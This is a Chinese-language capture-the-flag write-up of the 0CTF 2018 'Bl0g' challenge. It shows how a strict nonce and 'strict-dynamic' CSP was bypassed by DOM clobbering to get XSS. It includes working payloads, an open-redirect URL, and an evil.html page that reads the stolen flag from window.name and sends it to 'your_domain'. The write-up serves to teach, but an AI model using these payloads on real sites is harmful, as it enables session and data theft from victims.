0CTF 2018 Quals Bl0g writeup
发表于 2018 年 4 月 2 日
注册登录后可以 /new
创建文章、/article/{id}
查看文章、/submit
提交以 http://202.120.7.197:8090/
开头的 URL 让管理员查看。
flag 位于 /flag
;全站的 CSP 头如下:
Content-Security-Policy: script-src 'self' 'unsafe-inline'
Content-Security-Policy: default-src 'none'; script-src 'nonce-BXwvkDpdui1nFUwIDBfv7dE0miw=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'
很明显是个 XSS 题,注册、登录和提交 URL 功能都有 reCAPTCHA 验证码,所以不用考虑太多。剩下的输入点就只有 /new
创建文章了。很容易可以发现 effect
参数可以插入 HTML 标签:
然而 CSP 真的很严格,插入 <script src=//your.domain></script>
会同时违反两条策略;插入 <script>your_code()</script>
则会因为缺少 nonce-{random}
违反第二条策略。
stritc-dynamic
之前没见过,一起来了解一下:CSP: script-src 。strict-dynamic
对因为 nonce-{random}
匹配或者 hash 匹配(例如 sha256-{sha256sum}
、sha512-{sha512sum}
等)而加载的 js 代码赋予一定程度的信任,允许他们操作 DOM 来加载其他的 js。更详细的解释可以参考 W3C 的 CSP 文档。
忙乱地四处挑选, 找到 Black Hat 2017 的一篇文章 Breaking XSS mitigations via Script Gadgets,讲的是利用 CSP 的 strict-dynamic
结合前端库里的 gadget 来 XSS。
查看文章的页面加载了 4 个 js。config.js
里定义了 effects
变量;而 article.js
则是取页面中 name="effect"
元素的值作为 effects
的下标,通过 jQuery 的 append()
追加的页面中。
一开始我们按 BH 那篇文章的思路,在 Kube.js 中 找到了一个 gadget,modal 在 show 的时候会向 url 发出 post 请求,然后将返回内容填入到 target
下 class=modal-body
的 innerHTML 中,且 data-show=1
就能自动触发 show 。
<a data-component=modal data-target=* data-url=3508 class=modal-body data-show=1></a>
但是 /new
的 effect
参数限制在了 70 个字符,没法插入 data-show=1
,不能实现自动触发,只能点击触发:
"class=modal-body><a data-component=modal data-target=* data-url=3508>
在 irc 跟出题人确认了一下 bot 不会点击页面后,就放弃了这个思路。那正确的思路到底是怎样的呢,前面说到,article.js
取 name=effect
的元素的值作为 effects
的下标,将 effects[$("#effect").val()]
append 到 body 中。实际上,effects
是可以被我们劫持的:
id"><form name=effects id=crtest><script>
末尾的 script 标签使得 config.js
不会被加载,前面的 form 改变了 effects:
所以此时被写入到 body 中的 effects['id']
就可控了:
最后构造 payload 将 flag 写入到 window.name :
id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>
提交 URL :http://202.120.7.197:8090/login?next=//example.com/evil.html
evil.html 通过 iframe 内容读取 window.name :
<iframe src="http://202.120.7.197:8090/article/2750"></iframe>
<script>
setTimeout(()=>{frames[0].window.location.href='/'},1200)
setTimeout(()=>{location.href='http://your_domain/?'+frames[0].window.name},1500)
</script>